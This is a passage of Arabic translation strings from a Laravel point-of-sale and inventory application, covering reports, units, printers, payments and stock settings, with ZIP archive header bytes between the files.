'المبلغ المستحق', 'customer' => 'العملاء', 'supplier' => 'الموردين', 'total_due' => 'الدين', 'contacts' => 'تقرير الموردين والعملاء', 'contact' => 'جهات الاتصال', 'stock_report' => 'تقرير المخزون', 'products' => 'المنتجات', 'current_stock' => 'المخزون الحالي', 'total_unit_sold' => 'مجموع الوحدات المباعة', 'tax_report' => 'تقرير الضرائب', 'tax_report_msg' => 'تفاصيل الضريبة للفترة المحددة', 'input_tax' => 'ضريبة الدخل', 'output_tax' => 'ضريبة الانتاج', 'tax_overall' => 'شاملة (الانتاج - الانتاج)', 'input_tax_minus_output_tax' => 'ضريبة الدخل - ضريبة الانتاج', 'trending_products' => 'المنتجات الشائعة', 'apply_filters' => 'تطبيق التصفية', 'filters' => 'التصفية', 'expense_report' => 'تقرير المصاريف', 'total_expense' => 'مجموع المصاريف', 'others' => 'آخر', 'all' => 'كل', 'top_trending_products' => 'المنتجات الأكثر شعبية', 'all_locations' => 'كل الفروع', 'stock_adjustment_report' => 'تقرير المخزون التالف', 'total_stock_adjustment' => 'اجمالى المخزون التالف', 'total_recovered' => 'اجمالى المبلغ المسترد', 'total_normal' => 'المجموع الطبيعي', 'total_abnormal' => 'المجموع الغير طبيعي', 'register_report' => 'تقرير المناوبة', 'open_time' => 'وقت البداية', 'close_time' => 'وقت الانتهاء', 'user' => 'المستخدم', 'all_users' => 'جميع المستخدمين', 'sales_representative' => 'تقرير مندوب المبيعات', 'sales_representative_expenses' => 'جميع مصروفات مندوب المبيعات', 'summary' => 'ملخص', 'date_range' => 'نطاق التاريخ', 'stock_expiry_report' => 'تقرير انتهاء صلاحية المخزون', 'stock_left' => 'المخزون المتبقي', 'expired' => 'منتهي الصلاحية', 'view_stocks' => 'عرض المخزونات', 'expiring_in_1_week' => 'تنتهي في غضون أسبوع', 'expiring_in_15_days' => 'تنتهي في 15 يومًا', 'expiring_in_1_month' => 'تنتهي في شهر واحد', 'expiring_in_3_months' => 'تنتهي في 3 أشهر', 'expiring_in_6_months' => 'تنتهي في 6 أشهر', 'expiring_in_1_year' => 'تنتهي في سنة', 'profit_loss' => 'تقرير الربح / الخسارة', 'opening_stock' => 'مخزون اول المدة', 'closing_stock' => 'مخزون اخر المدة', 'total_expense' => 'مجموع المصاريف', 'net_profit' => 'صافى الربح', 'total_stock_adjustment' => 'اجمالى المخزون التالف', 'total_stock_recovered' => 'إجمالي المخزون المسترد', ]; PK G �Z�f<1� � ar/passwords.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Password Reminder Language Lines |-------------------------------------------------------------------------- | | The following language lines are the default lines which match reasons | that are given by the password broker for a password update attempt | has failed, such as for an invalid token or invalid new password. | */ 'password' => 'يجب أن تتكون كلمات السر من ستة أحرف على الأقل ويجب أن تكون متطابقة.', 'reset' => 'تم إعادة تعيين كلمة السر الخاصة بك!', 'sent' => 'لقد أرسلنا لك رابط إعادة تعيين كلمة السر!', 'token' => 'رمز إعادة تعيين كلمة السر هذا غير صالح.', 'user' => 'لم يتم العثور على أي مستخدم لديه عنوان البريد الإلكتروني هذا.', ]; PK G �Zf��k k ar/unit.phpnu �[��� <?php return [ 'units' => 'الوحدات', 'manage_your_units' => 'إدارة الوحدات الخاصة بك', 'all_your_units' => 'كل الوحدات الخاصة بك', 'name' => 'الإسم', 'short_name' => 'اسم مختصر', 'allow_decimal' => 'سماح استخدام الكسور', 'added_success' => 'تمت إضافة الوحدة بنجاح', 'updated_success' => 'تم تحديث الوحدة بنجاح', 'deleted_success' => 'تم حذف الوحدة بنجاح', 'add_unit' => 'إضافة وحدة', 'edit_unit' => 'تعديل وحدة', ]; PK G �Z �VJ� � ar/printer.phpnu �[��� <?php return [ 'printers' => 'الطابعات', 'add_printer' => 'أضف طابعة', 'name' => 'اسم الطابعة', 'connection_type' => 'نوع الاتصال', 'capability_profile' => 'القدرة', 'ip_address' => 'عنوان IP', 'port' => 'المنفذ', 'path' => 'المسار', 'added_success' => 'تمت إضافة الطابعة بنجاح', 'manage_your_printers' => 'إدارة الطابعات الخاصة بك', 'all_your_printer' => 'جميع الطابعات التي تم تكوينها', 'deleted_success' => 'تم حذف الطابعة بنجاح', 'edit_printer_setting' => 'قم بتعديل اعدادات الطابعة', 'receipt_printers' => 'طابعات الايصالات', 'character_per_line' => 'الأحرف في كل سطر', 'printer_name' => 'اسم الطابعة', 'updated_success' => 'تم تحديث الطابعة بنجاح', 'edit_printer' => 'تعديل الطابعة', ]; PK G �ZFnՆ7� 7� ar/lang_v1.phpnu �[��� <?php return [ 'enable_editing_product_from_purchase' => 'تمكين تعديل سعر المنتج من شاشة الشراء', 'sales_commission_agent' => 'السماسرة', 'sales_commission_agents' => 'السماسرة', 'disable' => 'عطل', 'logged_in_user' => 'المستخدم المتصل', 'select_from_users_list' => 'اختر من قائمة المستخدمين', 'select_from_commisssion_agents_list' => 'اختر من قائمة السماسرة', 'add_sales_commission_agent' => 'إضافة سمسار', 'commission_agent_added_success' => 'تمت إضافة سمسار بنجاح', 'edit_sales_commission_agent' => 'تعديل سمسار', 'commission_agent_updated_success' => 'تم تحديث السمسار بنجاح', 'commission_agent_deleted_success' => 'تم حذف السمسار بنجاح', 'contact_no' => 'رقم الاتصال', 'commission_agent' => 'سمسار', 'cmmsn_percent' => 'نسبة عمولة المبيعات (%)', 'sales_added' => 'المبيعات المضافة', 'sales_with_commission' => 'المبيعات إلى العمولة', //"total_sale_with_commission" => "إجمالي البيع مع العمولة", 'total_sale_commission' => 'مجموع عمولة المبيعات', 'sales_item_addition_method' => 'طريقة إضافة عنصر المبيعات', 'add_item_in_new_row' => 'أضف عنصرا إلى سطر جديد', 'increase_item_qty' => 'زيادة كمية العنصر إذا كانت موجودة بالفعل', 'stock_transfers' => 'تحويلات المخزون', 'all_stock_transfers' => 'جميع تحويلات المخزون', 'add_stock_transfer' => 'إضافة تحويل مخزون', 'list_stock_transfers' => 'قائمة تحويلات المخزون', 'location_from' => 'الفرع (من)', 'location_to' => 'الفرع (إلى)', 'shipping_charges' => 'تكاليف الشحن', 'stock_transfer_added_successfully' => 'تمت إضافة تحويل المخزون بنجاح', 'stock_transfer_delete_success' => 'تم حذف تحويل المخزون بنجاح', 'stock_transfer_cannot_be_deleted' => 'لا يمكن حذف تحويل هذا العنصر لأنه تم بيع البعض منه بالفعل', 'total_transfer_shipping_charges' => 'مجموع تكاليف شحن التحويل', 'enable_inline_tax' => 'تفعيل الضريبة في السطر على الشراء والبيع', 'save_n_add_opening_stock' => 'احفظ وأضف مخزون الإفتتاح', 'add_opening_stock' => 'أضف مخزون الإفتتاح', 'opening_stock_added_successfully' => 'تمت إضافة المخزون الافتتاحي بنجاح', 'update_n_edit_opening_stock' => 'تحديث وتعديل المخزون الافتتاحي', 'total_amount_exc_tax' => 'السعر الإجمالي (باستثناء الضريبة)', 'currency_symbol_placement' => 'تحديد مكان رمز العملة', 'before_amount' => 'قبل السعر', 'after_amount' => 'بعد السعر', 'barcode_label_error' => 'معرف SKU غير مدعوم لنوع الباركود المحدد', 'list_products' => 'قائمة المنتجات', 'list_expenses' => 'قائمة المصاريف', 'add_expiry' => 'أضف تاريخ انتهاء الصلاحية', 'add_manufacturing_auto_expiry' => 'أضف تاريخ الصنع وفترة الانتهاء', 'tooltip_enable_expiry' => 'تمكين انتهاء صلاحية المنتج. <b/>إضافة تاريخ انتهاء الصلاحية <br/> <br/> <b> >: لإضافة تاريخ انتهاء الصلاحية فقط. <b/>إضافة تاريخ الصنع وانتهاء الصلاحية <br/> <b>: لإضافة تاريخ الصنع وفترة انتهاء الصلاحية وحساب تاريخ انتهاء الصلاحية بناء على ذلك.', 'quantity' => 'الكمية', 'on_product_expiry' => 'عند إنتهاء صلاحية المنتج', 'keep_selling' => 'واصل البيع', 'stop_selling' => 'توقف عن البيع ن أيام قبل', 'tooltip_on_product_expiry' => 'حدد الإجراء المطلوب اتخاذه عند انتهاء صلاحية المنتج.<br><br> </b>واصل البيع<br><br> <b>ستبقى المنتجات للبيع بعد انتهاء الصلاحية أيضا.<b/>أوقف البيع:<br><b> أوقف بيع العنصر ن أيام قبل انتهاء الصلاحية', 'output_tax_minus_input_tax' => 'ضريبة الانتاج - ضريبة الدخل', 'total_purchase_discount' => 'خصم الشراء الكلي', 'total_sell_discount' => 'إجمالي تخفيضات المبيعات', 'updated_succesfully' => 'تم التحديث بنجاح', 'default_unit' => 'الوحدة الافتراضية', 'enable_brand' => 'تفعيل العلامات التجارية', 'enable_category' => 'تفعيل الأصناف', 'enable_sub_category' => 'تفعيل الأصناف الفرعية', 'enable_price_tax' => 'تفعيل الضريبة والتسعير', 'enable_purchase_status' => 'تفعيل حالة الشراء', 'tooltip_enable_purchase_status' => 'في حالة إلغاء التفعيل ، سيتم وضع علامة على كل المشتريات كـ <i/>عنصر مستلم<i>', 'recent_product_quantity' => 'الذهاب إلى كمية المنتج', 'full_screen' => 'شاشة كاملة', 'Uncategorised' => 'غير مصنف', 'no_products_to_display' => 'لا توجد منتجات لعرضها', 'item_out_of_stock' => 'المنتج غير متوفر', 'go_back' => 'رجوع', 'disable_pay_checkout' => 'تعطيل الدفع', 'disable_draft' => 'تعطيل المسودة', 'disable_express_checkout' => 'تعطيل الدفع السريع', 'hide_product_suggestion' => 'لا تظهر اقتراح المنتج', 'hide_recent_trans' => 'لا تظهر المعاملات الأخيرة', 'pos_settings' => 'إعدادات نقطة البيع', 'disable_discount' => 'تعطيل الخصم', 'disable_order_tax' => 'تعطيل ضريبة الطلب', 'customer_groups' => 'مجموعات العملاء', 'customer_group' => 'مجموعة العملاء', 'all_your_customer_groups' => 'جميع مجموعات العملاء', 'add_customer_group' => 'إضافة مجموعة العملاء', 'customer_group_name' => 'اسم مجموعة العملاء', 'calculation_percentage' => 'النسبة المئوية للحساب (٪)', 'tooltip_calculation_percentage' => '<b> سعر البيع = سعر البيع المحدد للمنتج + النسبة المئوية للحساب </ b> <br/> <br/> .يمكنك تحديد النسبة المئوية الإيجابية لزيادة سعر البيع والسلبية لخفض سعر البيع', 'success' => 'نجاح', 'edit_customer_group' => 'تعديل مجموعة العملاء', 'customer_groups_report' => 'تقرير مجموعات العملاء', 'none' => 'لا احد', 'enable_imei_or_sr_no' => 'تفعيل IMEI أو الرقم التسلسلي', 'tooltip_sr_no' => 'تمكين أو تعطيل إضافة IMEI للمنتج أو الرقم التسلسلي عند إضافة المنتجات إلى شاشة نقطة البيع', 'description' => 'الوصف', 'sell_line_description_help' => 'إضافة منتج IMEI أو رقم تسلسلي أو أي معلومات أخرى هنا.', 'unit_cost_before_discount' => 'تكلفة الوحدة (قبل الخصم)', 'discount_percent' => 'نسبة الخصم', 'application_tour' => 'جولة حول البرنامج', 'profile' => 'البيانات الشخصية', 'sign_out' => 'تسجيل الخروج', 'my_profile' => 'ملفي الشخصي', 'Admin' => 'المدير', 'Cashier' => 'الكاشير', 'both_supplier_customer' => 'مورد وعميل', 'months' => 'الأشهر', 'days' => 'الأيام', 'suppliers' => 'الموردين', 'customers' => 'الزبائن', 'enter_product_name_to_print_labels' => 'أدخل اسم المنتج لطباعة الملصقات', 'manage_product_variations' => 'إدارة تباينات المنتجات', 'all_variations' => 'كل التباينات', 'values' => 'القيم', 'add_variation' => 'أضف تباين', 'variation_name' => 'اسم التباين', 'add_variation_values' => 'أضف قيم التباين', 'edit_variation' => 'تعديل التباين', 'received' => 'استلم', 'pending' => 'في الانتظار', 'ordered' => 'تم الطلب', 'search_product_placeholder' => 'أدخل اسم المنتج / SKU / مسح الباركود', 'fixed' => 'ثابت', 'percentage' => 'النسبة المئوية', 'select_location' => 'اختر الموقع', 'add_description' => 'إضافة وصف', 'cash' => 'نقدا', 'card' => 'بطاقة', 'cheque' => 'شيك مصرفي', 'bank_transfer' => 'تحويل مصرفي', 'other' => 'آخر', 'payment' => 'دفع', 'total_items' => 'مجموع العناصر', 'total_paying' => 'المدفوع', 'balance' => 'الرصيد', 'payment_method' => 'طريقة الدفع', 'card_no' => 'رقم البطاقة', 'card_holder_name' => 'اسم صاحب التسجيل', 'card_transaction_no' => 'رقم معاملة البطاقة', 'card_type' => 'نوع البطاقة', 'month' => 'شهر', 'year' => 'عام', 'security_code' => 'الرقم السري', 'cheque_no' => 'رقم الشيك مصرفي', 'bank_account_number' => 'رقم الحساب البنكي', 'paid' => 'مدفوع', 'due' => 'مستحق الدفع', 'partial' => 'جزئي', 'no_of_products' => 'عدد المنتجات', 'select_a_date_range' => 'حدد نطاقًا زمنيًا', 'shortcut_help' => "يجب أن يكون الاختصار هو اسم المفاتيح المفصولة بـ '+'", 'example' => 'مثال', 'available_key_names_are' => 'أسماء المفاتيح المتاحة هي', 'add_new_product' => 'أضف منتجًا جديدًا', 'invoice_logo_help' => 'الحد الأقصى :max_size ,jpeg, gif, png فقط.', 'invoice_logo_help2' => 'تحميل فقط إذا كنت ترغب في استبدال الشعار السابق', 'printer_name_help' => 'اسم وصفي قصير للتعرف على الطابعة', 'char_per_line_help' => 'عدد الحروف التي يمكن طباعتها في كل سطر', 'ip_address_help' => 'عنوان IP للاتصال بالطابعة', 'port_help' => 'تعمل معظم الطابعات على منفذ 9100', 'combination_of_taxes' => 'مزيج من عدة ضرائب', 'product_purchase_report' => 'تقرير مشتريات المنتجات', 'unit_perchase_price' => 'سعر شراء الوحدة', 'search_product' => 'بحث عن منتج', 'product_sell_report' => 'تقرير مبيعات المنتجات', 'unit_sale_price' => 'سعر بيع الوحدة', 'contact_id' => 'معرف الاتصال', 'category_code_help' => 'رمز الصنف هو نفس رمز <b> HSN </b>', 'sub_heading_line' => 'العنوان الفرعي _number_:', 'date_label' => 'علامة التاريخ', 'client_id_label' => 'علامة تعريف العميل', 'product_label' => 'علامة المنتج', 'qty_label' => 'علامة الكمية', 'unit_price_label' => 'علامة سعر الوحدة', 'subtotal_label' => 'المجموع الفرعى', 'product_details_to_be_shown' => 'تفاصيل المنتج المراد عرضها', 'show_brand' => 'إظهار العلامة التجارية', 'show_sku' => 'عرض SKU', 'show_cat_code' => 'إظهار رمز الصنف', 'show_client_id' => 'عرض معرف العميل', 'show_time_with_date' => 'عرض الوقت مع التاريخ', 'show_sale_description' => 'عرض وصف البيع', 'product_imei_or_sn' => '(كود IMEI المنتج أو الرقم التسلسلي)', 'purchase_already_exist' => 'لا يمكن حذف المنتج لأنه مستخدم فى المشتريات', 'opening_stock_sold' => 'لا يمكن حذف المنتج لأنه تم بيع بعض منه في المخزون', 'stock_adjusted' => 'لا يمكن حذف المنتج لأنه تم تعديل البعض منه في المخزون', 'product_delete_success' => 'تمت إزالة المنتج بنجاح', 'manage_products' => 'إدارة منتجاتك', 'all_products' => 'جميع المنتجات', 'login' => 'تسجيل الدخول', 'register' => 'تسجيل', 'username' => 'إسم المستخدم', 'password' => 'كلمة السر', 'remember_me' => 'تذكرني', 'forgot_your_password' => 'نسيت كلمة السر؟', 'reset_password' => 'إعادة تعيين كلمة السر', 'email_address' => 'البريد الإلكتروني', 'send_password_reset_link' => 'إرسال رابط تعين كلمة السر', 'instructions' => 'تعليمات', 'instruction_line1' => 'اتبع التعليمات بعناية قبل استيراد الملف.', 'instruction_line2' => 'يجب أن تكون الأعمدة في ملف CSV بالترتيب التالي.', 'col_no' => 'رقم العمود', 'col_name' => 'اسم العمود', 'instruction' => 'تعليم', 'required' => 'الحقول الإلزامية', 'optional' => 'اختياري', 'name_ins' => 'اسم المنتج', 'brand_ins' => 'اسم العلامة التجارية', 'brand_ins2' => 'إذا لم يتم العثور على ، سيتم إنشاء علامة تجارية جديدة تحمل الاسم الأول', 'unit_ins' => 'اسم الوحدة', 'category_ins' => 'اسم الصنف', 'category_ins2' => 'إذا لم يتم العثور على ، سيتم إنشاء صنف جديد بالاسم الأول', 'sub_category_ins' => 'اسم الصنف الفرعي', 'sub_category_ins2' => 'إذا لم يتم العثور على ، صنف فرعي جديد بالاسم المحدد ضمن الفئة الرئيسية <br> سيتم إنشاءه', 'sku_ins' => 'كود SKU المنتج: إذا كانت فارغة ، سيتم إنشاء SKU تلقائياً', 'barcode_type_ins' => 'نوع الباركود الخاص بالمنتج.', 'barcode_type_ins2' => 'مدعوم حاليا', 'default' => 'افتراضي', 'manage_stock_ins' => 'تفعيل أو تعطيل إدارة المخزون', 'alert_qty_ins' => 'مطلوب إذا كان إدارة المخزون هو 1', 'expires_in_ins' => 'فترة انتهاء الصلاحية للمنتج (فقط بالأرقام)', 'expire_period_unit' => 'وحدة انتهاء الصلاحية', 'available_options' => 'الخيارات المتاحة', 'expire_period_unit_ins' => 'الوحدة لفترة انتهاء الصلاحية', 'applicable_tax_ins' => 'اسم معدل الضريبة', 'variation_name_ins' => 'مطلوب إذا كان نوع المنتج متباين', 'variation_name_ins2' => 'اسم التباين(مثلا: الحجم ، اللون ، الخ)', 'variation_values_ins' => 'مطلوب إذا كان نوع المنتج متباين', 'variation_values_ins2' => "قيم التباين مفصولة '|' '<br> (مثال: أحمر | أزرق | أخضر)", 'purchase_price_inc_tax' => 'سعر الشراء (بما في ذلك ضريبة القيمة المضافة)', 'purchase_price_inc_tax_ins1' => 'مطلوب إذا لم يتم تحديد سعر الشراء (بدون الضريبة)', 'purchase_price_inc_tax_ins2' => "سعر الشراء (بما في ذلك ضريبة القيمة المضافة) (فقط بالأرقام) <br> <br> للمنتجات المتغيرة '|' قيم منفصلة مع <br> بنفس ترتيب قيم التباين <br> (مثال: 84 | 85 | 88) ", 'purchase_price_exc_tax' => 'سعر الشراء (باستثناء الضرائب)', 'purchase_price_exc_tax_ins1' => 'مطلوب إذا لم يتم تحديد سعر الشراء بما في ذلك ضريبة القيمة المضافة', 'purchase_price_exc_tax_ins2' => "سعر الشراء (باستثناء الضرائب) (فقط بالأرقام) <br> <br> للمنتجات المتغيرة '|' قيم منفصلة مع <br> بنفس ترتيب قيم التباين <br> (مثال: 84 | 85 | 88) ", 'profit_margin_ins' => 'هامش الربح (فقط بالأرقام)', 'profit_margin_ins1' => 'إذا تم استخدام هامش ربح افتراضي فارغ للنشاط', 'selling_price' => 'سعر البيع', 'selling_price_ins' => 'سعر البيع (فقط بالأرقام)', 'selling_price_ins1' => 'إذا تم احتساب سعر البيع الفارغ باستخدام سعر الشراء والضرائب المعمول بها', 'opening_stock' => 'المخزون الافتتاحي', 'opening_stock_ins' => 'المخزون الافتتاحي (فقط في الأرقام)', 'only_applicable_to_single_product' => 'تنطبق فقط على منتج واحد', 'purchase_delete_success' => 'تم حذف الشراء بنجاح', 'location_ins' => 'اذ كان فارغا سيتم استخدام الفرع الاول', 'location_ins1' => 'اسم الفرع', 'expiry_date' => 'تاريخ الانتهاء', 'expiry_date_ins' => 'تاريخ انتهاء المخزون <br><b>شكل: mm-dd-yyyy; Ex: 11-25-2018</b>', 'enable_lot_number' => 'تمكين رقم المخزن', 'tooltip_enable_lot_number' => 'سيمكنك هذا من إدخال رقم المخزن لكل عملية شراء في شاشة الشراء', 'lot_number' => 'رقم المخزن', 'enable_racks' => 'تمكين الرفوف', 'tooltip_enable_racks' => 'قم بتمكين ذلك لإضافة تفاصيل الارفف للمنتج لكل موقع مختلف', 'rack_details' => 'تفاصيل الرف', 'tooltip_rack_details' => 'أدخل تفاصيل مكان حفظ المنتج في المتجر ، لفروع مختلفة.', 'updated_success' => 'تم التحديث بنجاح', 'added_success' => 'اضيف بنجاح', 'deleted_success' => 'حذف بنجاح', 'enable_disable_modules' => 'تمكين / تعطيل الوحدات', 'opening_stock_help_text' => '<br><br>بالنسبة إلى المنتجات المتباينة، يتم فصل كميات المخزون مع ' | ' <br>(Ex: 100|150|200)', 'applicable_tax_help' => '<br><br/إذا كان سعر الشراء (غير شامل الضريبة) ليس بنفس قيمة <br/>سعر الشراء (بما في ذلك الضرائب)<br/> فيجب عليك توفير اسم معدل الضريبة.', 'sale_delete_success' => 'تم حذف البيع بنجاح', 'click_to_edit' => 'إضغط للتعديل', 'click_to_delete' => 'انقر للحذف', 'quotation_heading' => 'عنوان بيان السعر', 'quotation' => 'عرض سعر', 'quotation_no_prefix' => 'عنوان رقم بيان السعر', 'tooltip_quotation_heading' => 'يتم استخدام عنوان بيان الاسعار أو التقديرات أثناء تقديم عرض الأسعار للعملاء.', 'quotation_added' => 'تم اضافة بيان السعر بنجاح', 'quotation_updated' => 'تم تحديث بيان السعر بنجاح', 'product_sold_details_register' => 'تفاصيل المنتجات المباعة', 'grand_total' => 'المبلغ الإجمالي', 'change_return' => 'الباقي للعميل', 'date_format' => 'صيغة التاريخ', 'time_format' => 'تنسيق الوقت', '12_hour' => '12 ساعة', '24_hour' => '24 ساعة', 'list_quotations' => 'قائمة بيان الاسعار', 'list_drafts' => 'قائمة المسودات', 'you_cannot_delete_this_contact' => 'لا يمكن حذف جهة الاتصال - توجد معاملات بالفعل لجهة الاتصال.', 'enable_row' => 'تمكين الصف', 'enable_position' => 'تمكين المكان', 'rack' => 'رف', 'row' => 'صف', 'position' => 'مكان', 'weight' => 'وزن', 'rack_help_text' => "تفاصيل الرف مفصولة بـ '|' للمواقع المختلفة بشكل تسلسلي. <br/> (مثال: R1 | R5 | R12) ", 'row_help_text' => "تفاصيل الصف مفصولة بـ '|' للمواقع المختلفة بشكل تسلسلي. <br/> (مثال: ROW1 | ROW2 | ROW3) ", 'position_help_text' => "تفاصيل المكان مفصولة بـ '|'' للمواقع المختلفة بشكل تسلسلي. <br/> (مثل: POS1 | POS2 | POS3) ", 'import_opening_stock' => 'استيراد المخزون الافتتاحي', 'tooltip_import_opening_stock' => 'يتم استخدام هذه الميزة لاستيراد المخزون الافتتاحي للمنتجات المضافة بالفعل. إذا لم تتم إضافة المنتجات في النظام , فمن المستحسن استخدام استيراد المنتجات لإضافة تفاصيل المنتج مع فتح المخزون.', 'design' => 'التصميم', 'express_checkout_cash' => 'كاش', 'express_checkout_card' => 'بطاقة', 'checkout_multi_pay' => 'دفع متعدد', 'tooltip_checkout_multi_pay' => 'التحصيل بطرق دفع متعددة', 'tooltip_express_checkout_card' => 'الدفع السريع باستخدام بطاقة', 'card_transaction_details' => 'تفاصيل معاملة البطاقة', 'client_tax_label' => 'علامة الرقم الضريبي للعميل', 'cat_code_label' => 'فئة أو رمز تسمية HSN', 'list_sell_return' => 'قائمة مرتجع المبيعات', 'sell_return' => 'مرتجع المبيعات', 'layout_credit_note' => 'ملاحظة الائتمان / تفاصيل مرتجع البيع', 'cn_heading' => 'عنوان', 'cn_no_label' => 'الرقم المرجعى', 'cn_amount_label' => 'المبلغ الإجمالي', 'custom_field' => 'حقل مخصص :number', 'website' => 'موقع الكتروني', 'total_credit_amt' => 'مجموع مبلغ الائتمان', 'unit_sell_price' => 'سعر بيع الوحدة', 'prefixes' => 'الاختصارات', 'purchase_order' => 'طلبية الشراء', 'stock_transfer' => 'تحويل المخزون', 'purchase_payment' => 'دفع المشتريات', 'sell_payment' => 'دفع المبيعات', 'location_id' => 'معرف الموقع', 'add_edit_opening_stock' => 'إضافة أو تحرير المخزون الافتتاحي', 'expiry_date_will_be_changed_in_pl' => 'سيتم تغيير تاريخ انتهاء خط الشراء', 'remove_from_stock' => 'إزالة من المخزون', 'stock_removed_successfully' => 'تمت إزالة المخزون بنجاح', 'product_image' => 'صورة المنتج', 'aspect_ratio_should_be_1_1' => 'يجب أن تكون نسبة العرض إلى الارتفاع 1: 1', 'previous_image_will_be_replaced' => 'سيتم استبدال الصورة التي تم تحميلها سابقًا', 'all_category' => 'جميع الاصناف', 'all_brands' => 'جميع العلامات التجارية', 'backup' => 'نسخ احتياطى', 'download_complete_backup' => 'تحميل نسخة احتياطية كاملة', 'backup_doesnt_exist' => 'النسخ الاحتياطي غير موجود', 'lot_report' => 'تقرير المخزن', 'purchase_payment_report' => 'تقرير المشتريات', 'paid_on' => 'المدفوعة على', 'purchase' => 'شراء', 'cheque_no' => 'رقم الشيك.', 'card_transaction_no' => 'رقم معاملة البطاقة', 'bank_account_no' => 'رقم الحساب البنكي.', 'sell_payment_report' => 'تقرير المبيعات', 'restaurant' => 'مطعم', 'user_type' => 'نوع المستخدم', 'product_custom_field1' => 'حقل مخصص 1', 'product_custom_field2' => 'حقل مخصص 2', 'product_custom_field3' => 'حقل مخصص 3', 'product_custom_field4' => 'حقل مخصص 4', 'image' => 'صورة', 'image_help_text' => 'اسم الصورة مع الامتداد.<br/> (يجب تحميل اسم الصورة إلى الخادم: المسار )', 'tooltip_kitchen' => 'هذه شاشة المطبخ. يمكن الاطلاع على تفاصيل الطلب هنا ويمكن وضع علامة على الطلبات على أنها مطبوخة.', 'tooltip_serviceorder' => 'هذه شاشة موظفي الخدمة. يمكن لموظفي الخدمة استخدام هذه الشاشة لعرض جميع الطلبات الخاصة بهم ووضع علامة على الطلب كما هو معروض.', 'sales_person_label' => 'تسمية موظف المبيعات', 'show_sales_person' => 'إظهار موظف المبيعات', 'decimal_value_not_allowed' => 'القيمة العشرية غير مسموح بها', 'theme_color' => 'لون التصميم', 'quantity_error_msg_in_lot' => 'فقط: الكمية: وحدة متوفرة في المخزن المختار', 'show_product_expiry' => 'إظهار تاريخ انتهاء الصلاحية', 'show_lot_number' => 'إظهار رقم المخزن', 'expiry' => 'منتهى الصلاحية', 'lot' => 'مخزن', 'lot_n_expiry' => 'المخزن وانتهاء الصلاحية', 'pos_edit_product_price_help' => 'تحرير سعر وحدة المنتج والضرائب', 'name' => 'اسم', 'payment_type' => 'نوع الدفع', 'manage_payment_account' => 'إدارة الحسابات الخاصه بك', 'all_payments' => 'جميع المدفوعات', 'payment_note' => 'ملاحظة الدفع', 'payment_account_deleted_success' => 'تم حذف الحساب بنجاح', 'payment_account_updated_success' => 'تم تحديث الحساب بنجاح', 'payment_gateway' => 'بوابة الدفع عبر الإنترنت', 'payment_account_success' => 'تم اضافة الحساب بنجاح', 'payment_account' => 'حساب', 'tooltip_sell_product_column' => 'انقر <i>اسم المنتج</i> لتحرير السعر والخصم والضرائب. <br/>انقر <i>أيقونة التعليق</i> لإدخال الرقم التسلسلي / IMEI أو ملاحظة إضافية.<br/><br/>انقر <i>رمز التعديل</i>(إذا تم تمكين) الاضافات', 'credit_limit' => 'الحد الائتماني', 'credit_limit_help' => 'تبقى فارغة من دون حدود', 'cutomer_credit_limit_exeeded' => 'تجاوز حدود ائتمان العملاء <br>:credit_limit', 'custom_payment_1' => 'مخصص الدفع 1', 'custom_payment_2' => 'مخصص الدفع 2', 'custom_payment_3' => 'مخصص الدفع 3', 'transaction_no' => 'رقم العملية', 'file' => 'ملف', 'size' => 'بحجم', 'date' => 'تاريخ', 'age' => 'عمر', 'create_new_backup' => 'إنشاء نسخة احتياطية جديدة', 'all_sales' => 'كل المبيعات', 'opening_balance' => 'الرصيد الافتتاحي', 'opening_balance_due' => 'الرصيد الافتتاحى المستحق', 'import_contacts' => 'استيراد جهات الاتصال', 'contact_type_ins' => '<strong> الخيارات المتاحة: العميل والمورد وكلاهما </strong>', 'contact_id_ins' => 'اترك الحقل فارغًا لإنشاء معرف جهة الاتصال تلقائيًا', 'required_if_supplier' => 'مطلوب إذا كان نوع جهة الاتصال هو المورد أو كليهما', 'pay_term_period_ins' => 'الخيارات المتاحة: الأيام والأشهر', 'your_username_will_be' => 'اسم المستخدم الخاص بك سيكون', 'currency_exchange_rate' => 'سعر صرف العملة', 'select_all' => 'اختر الكل', 'deselect_all' => 'الغاء تحديد الكل', 'duplicate_product' => 'منتج مكرر', 'delete_selected' => 'احذف المختار', 'no_row_selected' => 'لم يتم تحديد أي صف', 'duplicate_sell' => 'مبيعة مكررة', 'duplicate_sell_created_successfully' => 'تم إنشاء عملية بيع مكررة بنجاح', 'modules' => 'وحدات', 'theme' => 'تصميم', 'account' => 'الحساب', 'expense_payment' => 'دفع المصروفات', 'expense' => 'مصروف', 'disabled_in_demo' => 'تم تعطيل الميزة في العرض!', 'selling_price_group' => 'مجموعة أسعار البيع', 'all_selling_price_group' => 'كل مجموعة أسعار البيع', 'add_selling_price_group' => 'إضافة مجموعة سعر البيع', 'edit_selling_price_group' => 'تعديل مجموعة أسعار البيع', 'access_selling_price_groups' => 'الوصول إلى مجموعات أسعار البيع', 'save_n_add_selling_price_group_prices' => 'حفظ وإضافة أسعار أسعار البيع للمجموعة', 'add_selling_price_group_prices' => 'إضافة أو تعديل مجموعة الأسعار', 'default_selling_price_inc_tax' => 'سعر البيع الافتراضي (شامل الضريبة)', 'variation' => 'التباين', 'price_group' => 'مجموعة السعر', 'group_price' => 'سعر المجموعة', 'default_selling_price' => 'سعر البيع الافتراضي', 'price_group_help_text' => 'مجموعة أسعار البيع ( جملة او موزعين )', 'group_prices' => 'أسعار المجموعة', 'view_group_prices' => 'عرض أسعار المجموعة', 'save_n_add_another' => 'حفظ وإضافة آخر', 'update_n_add_another' => 'تحديث وإضافة آخر', 'subtotal_editable' => 'تعديل المبلغ الاجمالي', 'subtotal_editable_help_text' => 'حدد هذا الخيار لجعل الحقل الإجمالي الفرعي قابلاً للتحرير لكل منتج في شاشة POS', 'notification_templates' => 'نماذج الإشعارات', 'new_sale' => 'بيع جديد', 'payment_reminder' => 'اشعار مدفوعات', 'payment_received' => 'الدفعة المستلمة', 'new_booking' => 'حجز جديد', 'new_order' => 'طلب جديد', 'payment_paid' => 'اجمالى المدفوع', 'items_received' => 'العناصر المستلمة', 'items_pending' => 'عناصر معلقة', 'customer_notifications' => 'إشعارات العملاء', 'supplier_notifications' => 'إشعارات الموردين', 'email_subject' => 'الموضوع', 'email_body' => 'الرسالة', 'sms_body' => 'الرسالة', 'available_tags' => 'العلامات المتاحة', 'send_notification' => 'إرسال الإشعارات', 'new_sale_notification' => 'إشعار بيع جديد', 'send_email_only' => 'إرسال البريد الإلكتروني فقط', 'send_sms_only' => 'إرسال الرسائل القصيرة فقط', 'send_both_email_n_sms' => 